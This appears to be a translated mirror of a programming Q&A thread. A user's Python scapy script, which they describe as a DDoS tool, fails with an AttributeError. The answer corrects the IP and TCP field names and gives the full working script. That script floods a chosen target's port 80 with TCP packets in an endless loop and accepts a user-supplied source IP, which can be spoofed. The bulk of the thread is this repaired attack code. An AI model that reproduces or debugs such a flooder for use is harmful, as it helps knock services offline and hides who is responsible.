簡體   English   中英

為什么在使用 `source_IP` 參數啟動 `scapy.all.IP` 時會出現 AttributeError?

[英]Why am I getting an AttributeError when in initiating `scapy.all.IP` with `source_IP` argument?

我找到了一個用 python 編寫的 DDoS 腳本。 這是腳本:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
i = i + 1

但是當我運行它時,我得到了這個錯誤:

Traceback (most recent call last):
  File "/home/kai/DDOS-X/main.py", line 8, in <module>
    IP1 = IP(source_IP = source_IP, destination = target_IP)
  File "/home/kai/.local/lib/python3.9/site-packages/scapy/base_classes.py", line 389, in __call__
    i.__init__(*args, **kargs)
  File "/home/kai/.local/lib/python3.9/site-packages/scapy/packet.py", line 180, in __init__
    raise AttributeError(fname)
AttributeError: source_IP

發生錯誤,因為IP class 不采用source_IP參數。

IP的源代碼

Packet.__init__的源代碼IP繼承了它的__init__

這是引發AttributeError的行: https://github.com/secdev/scapy/blob/36448129bf99e52b0b2117edd1210eecac1dae36/scapy/packet.py#L180

這個答案只是@ruohola 答案的擴展,他在較新版本的 scapy 中是正確的,屬性名稱已更改,因此在您的代碼中

  1. source_IP更改為src
  2. destination更改為dst
  3. srcport更改為sport
  4. dstport更改為dport

你的最終代碼

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(src = source_IP, dst = target_IP)
   TCP1 = TCP(dport = 80, sport=source_port)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
i = i + 1

我的 scapy 版本如下

scapy==2.4.5

您可以通過在 shell 中鍵入以下內容來檢查您的:

pip freeze | grep "scapy"

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM